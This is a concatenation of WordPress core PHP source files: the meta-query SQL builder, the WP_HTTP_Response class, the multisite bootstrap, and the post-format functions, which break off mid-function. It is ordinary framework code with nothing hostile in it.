		if ( ! preg_match( '/^(?:BINARY|CHAR|DATE|DATETIME|SIGNED|UNSIGNED|TIME|NUMERIC(?:\(\d+(?:,\s?\d+)?\))?|DECIMAL(?:\(\d+(?:,\s?\d+)?\))?)$/', $meta_type ) ) {
			return 'CHAR';
		}

		if ( 'NUMERIC' === $meta_type ) {
			$meta_type = 'SIGNED';
		}

		return $meta_type;
	}

	/**
	 * Generates SQL clauses to be appended to a main query.
	 *
	 * @since 3.2.0
	 *
	 * @param string $type              Type of meta. Possible values include but are not limited
	 *                                  to 'post', 'comment', 'blog', 'term', and 'user'.
	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
	 * @param object $context           Optional. The main query object that corresponds to the type, for
	 *                                  example a `WP_Query`, `WP_User_Query`, or `WP_Site_Query`.
	 *                                  Default null.
	 * @return string[]|false {
	 *     Array containing JOIN and WHERE SQL clauses to append to the main query,
	 *     or false if no table exists for the requested meta type.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	public function get_sql( $type, $primary_table, $primary_id_column, $context = null ) {
		$meta_table = _get_meta_table( $type );
		if ( ! $meta_table ) {
			return false;
		}

		$this->table_aliases = array();

		$this->meta_table     = $meta_table;
		$this->meta_id_column = sanitize_key( $type . '_id' );

		$this->primary_table     = $primary_table;
		$this->primary_id_column = $primary_id_column;

		$sql = $this->get_sql_clauses();

		/*
		 * If any JOINs are LEFT JOINs (as in the case of NOT EXISTS), then all JOINs should
		 * be LEFT. Otherwise posts with no metadata will be excluded from results.
		 */
		if ( str_contains( $sql['join'], 'LEFT JOIN' ) ) {
			$sql['join'] = str_replace( 'INNER JOIN', 'LEFT JOIN', $sql['join'] );
		}

		/**
		 * Filters the meta query's generated SQL.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $sql               Array containing the query's JOIN and WHERE clauses.
		 * @param array    $queries           Array of meta queries.
		 * @param string   $type              Type of meta. Possible values include but are not limited
		 *                                    to 'post', 'comment', 'blog', 'term', and 'user'.
		 * @param string   $primary_table     Primary table.
		 * @param string   $primary_id_column Primary column ID.
		 * @param object   $context           The main query object that corresponds to the type, for
		 *                                    example a `WP_Query`, `WP_User_Query`, or `WP_Site_Query`.
		 */
		return apply_filters_ref_array( 'get_meta_sql', array( $sql, $this->queries, $type, $primary_table, $primary_id_column, $context ) );
	}

	/**
	 * Generates SQL clauses to be appended to a main query.
	 *
	 * Called by the public WP_Meta_Query::get_sql(), this method is abstracted
	 * out to maintain parity with the other Query classes.
	 *
	 * @since 4.1.0
	 *
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	protected function get_sql_clauses() {
		/*
		 * $queries are passed by reference to get_sql_for_query() for recursion.
		 * To keep $this->queries unaltered, pass a copy.
		 */
		$queries = $this->queries;
		$sql     = $this->get_sql_for_query( $queries );

		if ( ! empty( $sql['where'] ) ) {
			$sql['where'] = ' AND ' . $sql['where'];
		}

		return $sql;
	}

	/**
	 * Generates SQL clauses for a single query array.
	 *
	 * If nested subqueries are found, this method recurses the tree to
	 * produce the properly nested SQL.
	 *
	 * @since 4.1.0
	 *
	 * @param array $query Query to parse (passed by reference).
	 * @param int   $depth Optional. Number of tree levels deep we currently are.
	 *                     Used to calculate indentation. Default 0.
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	protected function get_sql_for_query( &$query, $depth = 0 ) {
		$sql_chunks = array(
			'join'  => array(),
			'where' => array(),
		);

		$sql = array(
			'join'  => '',
			'where' => '',
		);

		$indent = '';
		for ( $i = 0; $i < $depth; $i++ ) {
			$indent .= '  ';
		}

		foreach ( $query as $key => &$clause ) {
			if ( 'relation' === $key ) {
				$relation = $query['relation'];
			} elseif ( is_array( $clause ) ) {

				// This is a first-order clause.
				if ( $this->is_first_order_clause( $clause ) ) {
					$clause_sql = $this->get_sql_for_clause( $clause, $query, $key );

					$where_count = count( $clause_sql['where'] );
					if ( ! $where_count ) {
						$sql_chunks['where'][] = '';
					} elseif ( 1 === $where_count ) {
						$sql_chunks['where'][] = $clause_sql['where'][0];
					} else {
						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
					}

					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
					// This is a subquery, so we recurse.
				} else {
					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );

					$sql_chunks['where'][] = $clause_sql['where'];
					$sql_chunks['join'][]  = $clause_sql['join'];
				}
			}
		}

		// Filter to remove empties.
		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );

		if ( empty( $relation ) ) {
			$relation = 'AND';
		}

		// Filter duplicate JOIN clauses and combine into a single string.
		if ( ! empty( $sql_chunks['join'] ) ) {
			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
		}

		// Generate a single WHERE clause with proper brackets and indentation.
		if ( ! empty( $sql_chunks['where'] ) ) {
			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
		}

		return $sql;
	}

	/**
	 * Generates SQL JOIN and WHERE clauses for a first-order query clause.
	 *
	 * "First-order" means that it's an array with a 'key' or 'value'.
	 *
	 * @since 4.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array  $clause       Query clause (passed by reference).
	 * @param array  $parent_query Parent query array.
	 * @param string $clause_key   Optional. The array key used to name the clause in the original `$meta_query`
	 *                             parameters. If not provided, a key will be generated automatically.
	 *                             Default empty string.
	 * @return array {
	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
	 *
	 *     @type string[] $join  Array of SQL fragments to append to the main JOIN clause.
	 *     @type string[] $where Array of SQL fragments to append to the main WHERE clause.
	 * }
	 */
	public function get_sql_for_clause( &$clause, $parent_query, $clause_key = '' ) {
		global $wpdb;

		$sql_chunks = array(
			'where' => array(),
			'join'  => array(),
		);

		if ( isset( $clause['compare'] ) ) {
			$clause['compare'] = strtoupper( $clause['compare'] );
		} else {
			$clause['compare'] = isset( $clause['value'] ) && is_array( $clause['value'] ) ? 'IN' : '=';
		}

		$non_numeric_operators = array(
			'=',
			'!=',
			'LIKE',
			'NOT LIKE',
			'IN',
			'NOT IN',
			'EXISTS',
			'NOT EXISTS',
			'RLIKE',
			'REGEXP',
			'NOT REGEXP',
		);

		$numeric_operators = array(
			'>',
			'>=',
			'<',
			'<=',
			'BETWEEN',
			'NOT BETWEEN',
		);

		if ( ! in_array( $clause['compare'], $non_numeric_operators, true ) && ! in_array( $clause['compare'], $numeric_operators, true ) ) {
			$clause['compare'] = '=';
		}

		if ( isset( $clause['compare_key'] ) ) {
			$clause['compare_key'] = strtoupper( $clause['compare_key'] );
		} else {
			$clause['compare_key'] = isset( $clause['key'] ) && is_array( $clause['key'] ) ? 'IN' : '=';
		}

		if ( ! in_array( $clause['compare_key'], $non_numeric_operators, true ) ) {
			$clause['compare_key'] = '=';
		}

		$meta_compare     = $clause['compare'];
		$meta_compare_key = $clause['compare_key'];

		// First build the JOIN clause, if one is required.
		$join = '';

		// We prefer to avoid joins if possible. Look for an existing join compatible with this clause.
		$alias = $this->find_compatible_table_alias( $clause, $parent_query );
		if ( false === $alias ) {
			$i     = count( $this->table_aliases );
			$alias = $i ? 'mt' . $i : $this->meta_table;

			// JOIN clauses for NOT EXISTS have their own syntax.
			if ( 'NOT EXISTS' === $meta_compare ) {
				$join .= " LEFT JOIN $this->meta_table";
				$join .= $i ? " AS $alias" : '';

				if ( 'LIKE' === $meta_compare_key ) {
					$join .= $wpdb->prepare( " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key LIKE %s )", '%' . $wpdb->esc_like( $clause['key'] ) . '%' );
				} else {
					$join .= $wpdb->prepare( " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key = %s )", $clause['key'] );
				}

				// All other JOIN clauses.
			} else {
				$join .= " INNER JOIN $this->meta_table";
				$join .= $i ? " AS $alias" : '';
				$join .= " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column )";
			}

			$this->table_aliases[] = $alias;
			$sql_chunks['join'][]  = $join;
		}

		// Save the alias to this clause, for future siblings to find.
		$clause['alias'] = $alias;

		// Determine the data type.
		$_meta_type     = isset( $clause['type'] ) ? $clause['type'] : '';
		$meta_type      = $this->get_cast_for_type( $_meta_type );
		$clause['cast'] = $meta_type;

		// Fallback for clause keys is the table alias. Key must be a string.
		if ( is_int( $clause_key ) || ! $clause_key ) {
			$clause_key = $clause['alias'];
		}

		// Ensure unique clause keys, so none are overwritten.
		$iterator        = 1;
		$clause_key_base = $clause_key;
		while ( isset( $this->clauses[ $clause_key ] ) ) {
			$clause_key = $clause_key_base . '-' . $iterator;
			++$iterator;
		}

		// Store the clause in our flat array.
		$this->clauses[ $clause_key ] =& $clause;

		// Next, build the WHERE clause.

		// meta_key.
		if ( array_key_exists( 'key', $clause ) ) {
			if ( 'NOT EXISTS' === $meta_compare ) {
				$sql_chunks['where'][] = $alias . '.' . $this->meta_id_column . ' IS NULL';
			} else {
				/**
				 * In joined clauses negative operators have to be nested into a
				 * NOT EXISTS clause and flipped, to avoid returning records with
				 * matching post IDs but different meta keys. Here we prepare the
				 * nested clause.
				 */
				if ( in_array( $meta_compare_key, array( '!=', 'NOT IN', 'NOT LIKE', 'NOT EXISTS', 'NOT REGEXP' ), true ) ) {
					// Negative clauses may be reused.
					$i                     = count( $this->table_aliases );
					$subquery_alias        = $i ? 'mt' . $i : $this->meta_table;
					$this->table_aliases[] = $subquery_alias;

					$meta_compare_string_start  = 'NOT EXISTS (';
					$meta_compare_string_start .= "SELECT 1 FROM $wpdb->postmeta $subquery_alias ";
					$meta_compare_string_start .= "WHERE $subquery_alias.post_ID = $alias.post_ID ";
					$meta_compare_string_end    = 'LIMIT 1';
					$meta_compare_string_end   .= ')';
				}

				switch ( $meta_compare_key ) {
					case '=':
					case 'EXISTS':
						$where = $wpdb->prepare( "$alias.meta_key = %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
						break;
					case 'LIKE':
						$meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%';
						$where              = $wpdb->prepare( "$alias.meta_key LIKE %s", $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
						break;
					case 'IN':
						$meta_compare_string = "$alias.meta_key IN (" . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ')';
						$where               = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
						break;
					case 'RLIKE':
					case 'REGEXP':
						$operator = $meta_compare_key;
						if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) {
							$cast     = 'BINARY';
							$meta_key = "CAST($alias.meta_key AS BINARY)";
						} else {
							$cast     = '';
							$meta_key = "$alias.meta_key";
						}
						$where = $wpdb->prepare( "$meta_key $operator $cast %s", trim( $clause['key'] ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
						break;

					case '!=':
					case 'NOT EXISTS':
						$meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key = %s " . $meta_compare_string_end;
						$where               = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
						break;
					case 'NOT LIKE':
						$meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key LIKE %s " . $meta_compare_string_end;

						$meta_compare_value = '%' . $wpdb->esc_like( trim( $clause['key'] ) ) . '%';
						$where              = $wpdb->prepare( $meta_compare_string, $meta_compare_value ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
						break;
					case 'NOT IN':
						$array_subclause     = '(' . substr( str_repeat( ',%s', count( $clause['key'] ) ), 1 ) . ') ';
						$meta_compare_string = $meta_compare_string_start . "AND $subquery_alias.meta_key IN " . $array_subclause . $meta_compare_string_end;
						$where               = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
						break;
					case 'NOT REGEXP':
						$operator = $meta_compare_key;
						if ( isset( $clause['type_key'] ) && 'BINARY' === strtoupper( $clause['type_key'] ) ) {
							$cast     = 'BINARY';
							$meta_key = "CAST($subquery_alias.meta_key AS BINARY)";
						} else {
							$cast     = '';
							$meta_key = "$subquery_alias.meta_key";
						}

						$meta_compare_string = $meta_compare_string_start . "AND $meta_key REGEXP $cast %s " . $meta_compare_string_end;
						$where               = $wpdb->prepare( $meta_compare_string, $clause['key'] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
						break;
				}

				$sql_chunks['where'][] = $where;
			}
		}

		// meta_value.
		if ( array_key_exists( 'value', $clause ) ) {
			$meta_value = $clause['value'];

			if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) {
				if ( ! is_array( $meta_value ) ) {
					$meta_value = preg_split( '/[,\s]+/', $meta_value );
				}
			} elseif ( is_string( $meta_value ) ) {
				$meta_value = trim( $meta_value );
			}

			switch ( $meta_compare ) {
				case 'IN':
				case 'NOT IN':
					$meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')';
					$where               = $wpdb->prepare( $meta_compare_string, $meta_value );
					break;

				case 'BETWEEN':
				case 'NOT BETWEEN':
					$where = $wpdb->prepare( '%s AND %s', $meta_value[0], $meta_value[1] );
					break;

				case 'LIKE':
				case 'NOT LIKE':
					$meta_value = '%' . $wpdb->esc_like( $meta_value ) . '%';
					$where      = $wpdb->prepare( '%s', $meta_value );
					break;

				// EXISTS with a value is interpreted as '='.
				case 'EXISTS':
					$meta_compare = '=';
					$where        = $wpdb->prepare( '%s', $meta_value );
					break;

				// 'value' is ignored for NOT EXISTS.
				case 'NOT EXISTS':
					$where = '';
					break;

				default:
					$where = $wpdb->prepare( '%s', $meta_value );
					break;

			}

			if ( $where ) {
				if ( 'CHAR' === $meta_type ) {
					$sql_chunks['where'][] = "$alias.meta_value {$meta_compare} {$where}";
				} else {
					$sql_chunks['where'][] = "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$where}";
				}
			}
		}

		/*
		 * Multiple WHERE clauses (for meta_key and meta_value) should
		 * be joined in parentheses.
		 */
		if ( 1 < count( $sql_chunks['where'] ) ) {
			$sql_chunks['where'] = array( '( ' . implode( ' AND ', $sql_chunks['where'] ) . ' )' );
		}

		return $sql_chunks;
	}

	/**
	 * Gets a flattened list of sanitized meta clauses.
	 *
	 * This array should be used for clause lookup, as when the table alias and CAST type must be determined for
	 * a value of 'orderby' corresponding to a meta clause.
	 *
	 * @since 4.2.0
	 *
	 * @return array Meta clauses.
	 */
	public function get_clauses() {
		return $this->clauses;
	}

	/**
	 * Identifies an existing table alias that is compatible with the current
	 * query clause.
	 *
	 * We avoid unnecessary table joins by allowing each clause to look for
	 * an existing table alias that is compatible with the query that it
	 * needs to perform.
	 *
	 * An existing alias is compatible if (a) it is a sibling of `$clause`
	 * (ie, it's under the scope of the same relation), and (b) the combination
	 * of operator and relation between the clauses allows for a shared table join.
	 * In the case of WP_Meta_Query, this only applies to 'IN' clauses that are
	 * connected by the relation 'OR'.
	 *
	 * @since 4.1.0
	 *
	 * @param array $clause       Query clause.
	 * @param array $parent_query Parent query of $clause.
	 * @return string|false Table alias if found, otherwise false.
	 */
	protected function find_compatible_table_alias( $clause, $parent_query ) {
		$alias = false;

		foreach ( $parent_query as $sibling ) {
			// If the sibling has no alias yet, there's nothing to check.
			if ( empty( $sibling['alias'] ) ) {
				continue;
			}

			// We're only interested in siblings that are first-order clauses.
			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
				continue;
			}

			$compatible_compares = array();

			// Clauses connected by OR can share joins as long as they have "positive" operators.
			if ( 'OR' === $parent_query['relation'] ) {
				$compatible_compares = array( '=', 'IN', 'BETWEEN', 'LIKE', 'REGEXP', 'RLIKE', '>', '>=', '<', '<=' );

				// Clauses joined by AND with "negative" operators share a join only if they also share a key.
			} elseif ( isset( $sibling['key'] ) && isset( $clause['key'] ) && $sibling['key'] === $clause['key'] ) {
				$compatible_compares = array( '!=', 'NOT IN', 'NOT LIKE' );
			}

			$clause_compare  = strtoupper( $clause['compare'] );
			$sibling_compare = strtoupper( $sibling['compare'] );
			if ( in_array( $clause_compare, $compatible_compares, true ) && in_array( $sibling_compare, $compatible_compares, true ) ) {
				$alias = preg_replace( '/\W/', '_', $sibling['alias'] );
				break;
			}
		}

		/**
		 * Filters the table alias identified as compatible with the current clause.
		 *
		 * @since 4.1.0
		 *
		 * @param string|false  $alias        Table alias, or false if none was found.
		 * @param array         $clause       First-order query clause.
		 * @param array         $parent_query Parent of $clause.
		 * @param WP_Meta_Query $query        WP_Meta_Query object.
		 */
		return apply_filters( 'meta_query_find_compatible_table_alias', $alias, $clause, $parent_query, $this );
	}

	/**
	 * Checks whether the current query has any OR relations.
	 *
	 * In some cases, the presence of an OR relation somewhere in the query will require
	 * the use of a `DISTINCT` or `GROUP BY` keyword in the `SELECT` clause. The current
	 * method can be used in these cases to determine whether such a clause is necessary.
	 *
	 * @since 4.3.0
	 *
	 * @return bool True if the query contains any `OR` relations, otherwise false.
	 */
	public function has_or_relation() {
		return $this->has_or_relation;
	}
}
<?php
/**
 * HTTP API: WP_HTTP_Response class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to prepare HTTP responses.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_HTTP_Response {

	/**
	 * Response data.
	 *
	 * @since 4.4.0
	 * @var mixed
	 */
	public $data;

	/**
	 * Response headers.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	public $headers;

	/**
	 * Response status.
	 *
	 * @since 4.4.0
	 * @var int
	 */
	public $status;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param mixed $data    Response data. Default null.
	 * @param int   $status  Optional. HTTP status code. Default 200.
	 * @param array $headers Optional. HTTP header map. Default empty array.
	 */
	public function __construct( $data = null, $status = 200, $headers = array() ) {
		$this->set_data( $data );
		$this->set_status( $status );
		$this->set_headers( $headers );
	}

	/**
	 * Retrieves headers associated with the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of header name to header value.
	 */
	public function get_headers() {
		return $this->headers;
	}

	/**
	 * Sets all header values.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function set_headers( $headers ) {
		$this->headers = $headers;
	}

	/**
	 * Sets a single HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key     Header name.
	 * @param string $value   Header value.
	 * @param bool   $replace Optional. Whether to replace an existing header of the same name.
	 *                        Default true.
	 */
	public function header( $key, $value, $replace = true ) {
		if ( $replace || ! isset( $this->headers[ $key ] ) ) {
			$this->headers[ $key ] = $value;
		} else {
			$this->headers[ $key ] .= ', ' . $value;
		}
	}

	/**
	 * Retrieves the HTTP return code for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return int The 3-digit HTTP status code.
	 */
	public function get_status() {
		return $this->status;
	}

	/**
	 * Sets the 3-digit HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	public function set_status( $code ) {
		$this->status = absint( $code );
	}

	/**
	 * Retrieves the response data.
	 *
	 * @since 4.4.0
	 *
	 * @return mixed Response data.
	 */
	public function get_data() {
		return $this->data;
	}

	/**
	 * Sets the response data.
	 *
	 * @since 4.4.0
	 *
	 * @param mixed $data Response data.
	 */
	public function set_data( $data ) {
		$this->data = $data;
	}

	/**
	 * Retrieves the response data for JSON serialization.
	 *
	 * It is expected that in most implementations, this will return the same as get_data(),
	 * however this may be different if you want to do custom JSON data handling.
	 *
	 * @since 4.4.0
	 *
	 * @return mixed Any JSON-serializable value.
	 */
	public function jsonSerialize() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
		return $this->get_data();
	}
}
<?php
/**
 * Used to set up and fix common variables and include
 * the Multisite procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see ms-default-constants.php)
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/**
 * Objects representing the current network and current site.
 *
 * These may be populated through a custom `sunrise.php`. If not, then this
 * file will attempt to populate them based on the current request.
 *
 * @global WP_Network $current_site The current network.
 * @global object     $current_blog The current site.
 * @global string     $domain       Deprecated. The domain of the site found on load.
 *                                  Use `get_site()->domain` instead.
 * @global string     $path         Deprecated. The path of the site found on load.
 *                                  Use `get_site()->path` instead.
 * @global int        $site_id      Deprecated. The ID of the network found on load.
 *                                  Use `get_current_network_id()` instead.
 * @global bool       $public       Deprecated. Whether the site found on load is public.
 *                                  Use `get_site()->public` instead.
 *
 * @since 3.0.0
 */
global $current_site, $current_blog, $domain, $path, $site_id, $public;

/** WP_Network class */
require_once ABSPATH . WPINC . '/class-wp-network.php';

/** WP_Site class */
require_once ABSPATH . WPINC . '/class-wp-site.php';

/** Multisite loader */
require_once ABSPATH . WPINC . '/ms-load.php';

/** Default Multisite constants */
require_once ABSPATH . WPINC . '/ms-default-constants.php';

if ( defined( 'SUNRISE' ) ) {
	include_once WP_CONTENT_DIR . '/sunrise.php';
}

/** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */
ms_subdomain_constants();

// This block will process a request if the current network or current site objects
// have not been populated in the global scope through something like `sunrise.php`.
if ( ! isset( $current_site ) || ! isset( $current_blog ) ) {

	$domain = strtolower( stripslashes( $_SERVER['HTTP_HOST'] ) );
	if ( str_ends_with( $domain, ':80' ) ) {
		$domain               = substr( $domain, 0, -3 );
		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -3 );
	} elseif ( str_ends_with( $domain, ':443' ) ) {
		$domain               = substr( $domain, 0, -4 );
		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -4 );
	}

	$path = stripslashes( $_SERVER['REQUEST_URI'] );
	if ( is_admin() ) {
		$path = preg_replace( '#(.*)/wp-admin/.*#', '$1/', $path );
	}
	list( $path ) = explode( '?', $path );

	$bootstrap_result = ms_load_current_site_and_network( $domain, $path, is_subdomain_install() );

	if ( true === $bootstrap_result ) {
		// `$current_blog` and `$current_site are now populated.
	} elseif ( false === $bootstrap_result ) {
		ms_not_installed( $domain, $path );
	} else {
		header( 'Location: ' . $bootstrap_result );
		exit;
	}
	unset( $bootstrap_result );

	$blog_id = $current_blog->blog_id;
	$public  = $current_blog->public;

	if ( empty( $current_blog->site_id ) ) {
		// This dates to [MU134] and shouldn't be relevant anymore,
		// but it could be possible for arguments passed to insert_blog() etc.
		$current_blog->site_id = 1;
	}

	$site_id = $current_blog->site_id;
	wp_load_core_site_options( $site_id );
}

$wpdb->set_prefix( $table_prefix, false ); // $table_prefix can be set in sunrise.php.
$wpdb->set_blog_id( $current_blog->blog_id, $current_blog->site_id );
$table_prefix       = $wpdb->get_blog_prefix();
$_wp_switched_stack = array();
$switched           = false;

// Need to init cache again after blog_id is set.
wp_start_object_cache();

if ( ! $current_site instanceof WP_Network ) {
	$current_site = new WP_Network( $current_site );
}

if ( ! $current_blog instanceof WP_Site ) {
	$current_blog = new WP_Site( $current_blog );
}

// Define upload directory constants.
ms_upload_constants();

/**
 * Fires after the current site and network have been detected and loaded
 * in multisite's bootstrap.
 *
 * @since 4.6.0
 */
do_action( 'ms_loaded' );
<?php
/**
 * Post format functions.
 *
 * @package WordPress
 * @subpackage Post
 */

/**
 * Retrieve the format slug for a post
 *
 * @since 3.1.0
 *
 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to the current post in the loop.
 * @return string|false The format if successful. False otherwise.
 */
function get_post_format( $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	if ( ! post_type_supports( $post->post_type, 'post-formats' ) ) {
		return false;
	}

	$_format = get_the_terms( $post->ID, 'post_format' );

	if ( empty( $_format ) ) {
		return false;
	}

	$format = reset( $_format );

	return str_replace( 'post-format-', '', $format->slug );
}

/**
 * Check if a post has any of the given formats, or any format.
 *
 * @since 3.1.0
 *
 * @param string|string[]  $format Optional. The format or formats to check. Default empty array.
 * @param WP_Post|int|null $post   Optional. The post to check. Defaults to the current post in the loop.
 * @return bool True if the post has any of the given formats (or any format, if no format specified),
 *              false otherwise.
 */
function has_post_format( $format = array(), $post = null ) {
	$prefixed = array();

	if ( $format ) {
		foreach ( (array) $format as $single ) {
			$prefixed[] = 'post-format-' . sanitize_key( $single );
		}
	}

	return has_term( $prefixed, 'post_format', $post );
}

/**
 * Assign a format to a post
 *
 * @since 3.1.0
 *
 * @param int|object $post   The post for which to assign a format.
 * @param string     $format A format to assign. Use an empty string or array to remove all formats from the post.
 * @return array|WP_Error|false Array of affected term IDs on success. WP_Error on error.
 */
function set_post_format( $post, $format ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
	}

	if ( ! empty( $format ) ) {
		$format = sanitize_key( $format );
		if ( 'standard' === $format || ! in_array( $format, get_post_format_slugs(), true ) ) {
			$format = '';
		} else {
			$format = 'post-format-' . $format;
		}
	}

	return wp_set_post_terms( $post->ID, $format, 'post_format' );
}

/**
 * Returns an array of post format slugs to their translated and pretty display versions
 *
 * @since 3.1.0
 *
 * @return string[] Array of post format labels keyed by format slug.
 */
function get_post_format_strings() {
	$strings = array(
		'standard' => _x( 'Standard', 'Post format' ), // Special case. Any value that evals to false will be considered standard.
		'aside'    => _x( 'Aside', 'Post format' ),
		'chat'     => _x( 'Chat', 'Post format' ),
		'gallery'  => _x( 'Gallery', 'Post format' ),
		'link'     => _x( 'Link', 'Post format' ),
		'image'    => _x( 'Image', 'Post format' ),
		'quote'    => _x( 'Quote', 'Post format' ),
		'status'   => _x( 'Status', 'Post format' ),
		'video'    => _x( 'Video', 'Post format' ),
		'audio'    => _x( 'Audio', 'Post format' ),
	);
	return $strings;
}

/**
 * Retrieves the array of post format slugs.
 *
 * @since 3.1.0
 *
 * @return string[] The array of post format slugs as both keys and values.
 */
function get_post_format_slugs() {
	$slugs = array_keys( get_post_format_strings() );
	return array_combine( $slugs, $slugs );
}

/**
 * Returns a pretty, translated version of a post format slug
 *
 * @since 3.1.0
 *
 * @param string $slug A post format slug.
 * @return string The translated post format name.
 */
function get_post_format_string( $slug ) {
	$strings = get_post_format_strings();
	if ( ! $slug ) {
		return $strings['standard'];
	} else {
		return ( isset( $strings[ $slug ] ) ) ? $strings[ $slug ] : '';
	}
}

/**
 * Returns a link to a post format index.
 *
 * @since 3.1.0
 *
 * @param string $format The post format slug.
 * @return string|WP_Error|false The post format term link.
 */
function get_post_format_link( $format ) {
	$term = get_term_by( 'slug', 'post-format-' . $format, 'post_format' );
	if ( ! $term || is_wp_error( $term ) ) {
		return false;
	}
	return get_term_link( $term );
}

/**
 * Filters the request to allow for the format prefix.
 *
 * @access private
 * @since 3.1.0
 *
 * @param array $qvs
 * @return array
 */
function _post_format_request( $qvs ) {
	if ( ! isset( $qvs['post_format'] ) ) {
		return $qvs;
	}
	$slugs = get_post_format_slugs();
	if ( isset( $slugs[ $qvs['post_format'] ] ) ) {
		$qvs['post_format'] = 'post-format-' . $slugs[ $qvs['post_format'] ];
	}
	$tax = get_taxonomy( 'post_format' );
	if ( ! is_admin() ) {
		$qvs['post_type'] = $tax->object_type;
	}
	return $qvs;
}

/**
 * Filters the post format term link to remove the format prefix.
 *
 * @access private
 * @since 3.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string  $link
 * @param WP_Term $term
 * @param string  $taxonomy
 * @return string
 */
function _post_format_link( $link, $term, $taxonomy ) {
	global $wp_rewrite;
	if ( 'post_format' !== $taxonomy ) {
		return $link;
	}
	if ( $wp_rewrite->get_extra_permastruct( $taxonomy ) ) {
		return str_replace( "/{$term->slug}", '/' . str_replace( 'post-format-', '', $term->slug ), $link );
	} else {
		$link = remove_query_arg( 'post_format', $link );
		return add_query_arg( 'post_format', str_replace( 'post-format-', '', $term->slug ), $link );
	}
}

/**
 * Remove the post format prefix from the name property of the term object created by get_term().
 *
 * @access private
 * @since 3.1.0
 *
 * @param object $term
 * @return object
 */
function _post_format_get_term( $term ) {
	if ( isset( $term->slug ) ) {
		$term->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
	}
	return $term;
}

/**
 * Remove the post format prefix from the name property of the term objects created by get_terms().
 *
 * @access private
 * @since 3.1.0
 *
 * @param array        $terms
 * @param string|array $taxonomies
 * @param array        $args
 * @return array
 */
function _post_format_get_terms( $terms, $taxonomies, $args ) {
	if ( in_array( 'post_format', (array) $taxonomies, true ) ) {
		if ( isset( $args['fields'] ) && 'names' === $args['fields'] ) {
			foreach ( $terms as $order => $name ) {
				$terms[ $order ] = get_post_format_string( str_replace( 'post-format-', '', $name ) );
			}
		} else {
			foreach ( (array) $terms as $order => $term ) {
